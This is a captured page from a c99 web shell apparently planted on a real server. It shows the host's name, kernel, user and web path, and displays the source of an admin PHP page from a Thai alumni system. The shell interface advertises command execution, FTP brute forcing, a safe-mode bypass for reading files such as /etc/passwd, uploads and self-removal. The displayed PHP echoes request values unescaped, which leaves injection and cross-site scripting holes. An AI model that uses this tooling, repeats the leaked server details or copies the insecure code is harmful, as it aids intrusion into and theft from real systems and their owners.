!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editlevelaword.php (7.73 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../link/function.php";
include_once 
"../class/clslevelaword.php";        

confirmSubmit();
$oLa= new LevelAword($oC1);    
?>
<script language="JavaScript1.2">
function checkFormat(){
    if(document.ps.levelawordNameT.value==""){
        alert("กรุณากรอกชื่อระดับการได้รับรางวัล  (ไทย) !");
        return false;
    }
if(document.ps.levelawordNameE.value==""){
        alert("กรุณากรอกชื่อระดับการได้รับรางวัล  (อังกฤษ)!");
        return false;
    }
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="adminIndex.php?mm=1">ข้อมูลพื้นฐานของระบบ</a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> <a href="addlevelaword.php">ข้อมูลระดับการได้รับรางวัล </a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> แก้ไข</font></legend>
            <label><div align="center"><br>
          <table width="550" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr> 
              <td align="center" colspan="2"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>แก้ไข</strong></font></td>
            </tr>
            <tr> 
              <td>&nbsp;</td>
            </tr>
            <tr> 
              <td colspan="2"><table width="550" border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                  <tr> 
                    <td colspan="5" align="center"><form name="ps" method="post" action="processlevelaword.php">
                    <table width="475" align="center" border="0">
                        <tr> 
                <?php 
                        $oLa
->SearchByKey($levelawordId);
                        
$oLa->GetRecord();
                
?>
                          <td width="179"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อระดับการได้รับรางวัล 
                            (ไทย)</b></font></td>
                          <td width="5">&nbsp;</td>
                          <td width="277"><input type="text" name="levelawordNameT"  size="40" value="<? echo $oLa->levelawordNameT?>"> 
                            <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                        </tr>
                        <tr> 
                          <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อระดับการได้รับรางวัล 
                            (อังกฤษ)</b></font></td>
                          <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                          <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><input type="text" name="levelawordNameE"  size="40"value="<? echo $oLa->levelawordNameE?>"> 
                            <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                        </tr>
                        <tr> 
                          <td colspan="3" align="center"><br> <input type="submit" name="edit" value="แก้ไข"  onClick="return checkFormat()"> 
                            <input type="reset" name="clear" value="เคลียร์ข้อมูล"> 
                            <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'addlevelaword.php'"> 
                            <input type="hidden" name="method" value="edit">
                            <input type="hidden" name="pg" value="<? echo $pg?>">
                            <input type="hidden" name="psearch" value="<?php echo $psearch;?>">
                             <input type="hidden" name="levelawordId" value="<?php echo $oLa->levelawordId;?>"></td>
                        </tr>
                      </table></form>
                      <br> <br></td>
                  </tr>
                  <tr>
                  <td align="right" colspan="5">
                  <form name="pf" method="post" action="<?php echo $PHP_SELF;?>">
                  <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>ชื่อระดับการได้รับรางวัล  (ไทย)</b></font>
                                <input type="text" name="psearch">
                                <input type="submit" name="search" value="ค้นหา" >
                    </font></form></td>
                    
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>"> 
                    <td width="96" height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ลำดับ 
                      </strong></font></td>
                    <td width="171" height="22" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ชื่อระดับการได้รับรางวัล 
                      (ไทย)</strong></font></td>
                    <td width="193" height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อระดับการได้รับรางวัล 
                      (อังกฤษ)</strong></font></td>
                    <td width="37" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>แก้ไข</strong></font></td>
                    <td width="41" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ลบ</strong></font></td>
                    <tr>
                  <?php
                $oLa
->RSLevelAwordNameId($psearch);
                
$record $oLa->GetRowSelected();
                if (
$pg==""
                    
$pg=1;
                
$i = ($pg-1)*$GLOBALS["rowPerPage"];
                
$oLa->NextPage($pg);
                 while(
$oLa->GetRecord()) {
                            if((
$i%2) == 0)
                                echo 
"<tr>";
                            else
                                echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>
                    <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $i+1;?></font></td>
                            
                    <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oLa->levelawordNameT;?></font></td>
                            
                    <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oLa->levelawordNameE;?></font></td>
                            <td align="center"><a href="editlevelaword.php?pg=<? echo $pg?>&levelawordId=<?php echo $oLa->levelawordId;?>&psearch=<? echo $psearch?>"><img src="../picture/editnew.gif" width="23" height="19" align="absmiddle" border="0"></a></td>
                            <td align="center"><a href="processlevelaword.php?levelawordId=<?php echo $oLa->levelawordId;?>&method=delete" onClick='return confirmSubmit("คุณต้องการลบข้อมูลแน่นอนใช่หรือไม่ ?")'><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0"></a></td>
                  </tr>
                  <?php
                            $i
++;
                        }
                        
                        if((
$record) == 0){
?>
                        <tr>
                            <td colspan="5" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
                  <?php
                        
}
?>
                    </table></td>
                </tr>
                <tr>
                    
              <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">หน้า-&gt; 
<?php
                $mxPage
=$oLa->NumPage();    
                for(
$i=1;$i<=$mxPage;$i++){
                        if(
$i == $pg)
                            echo 
$i." ";
                        else {
?>
                            <a href="addlevelaword.php?pg=<?php echo $i;?>&psearch=<? echo $psearch?>"><?php echo '[ '.$i.' ]'; if($i==9){echo "<br>";}?></a>
<?php
                        
}
                    }
?>
               </font></td>
              <td align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">รวม <?php echo $record;?>
                รายการ</font></td>
                </tr>
                <tr>
                    <td colspan="2"><input type="button" name="back" value="กลับเมนูหลัก" onClick="location.href = 'adminIndex.php?mm=1'"></td>
                </tr>
            </table></div></label>
        </fieldset><br><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></td>
    </tr>
</table>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0177 ]--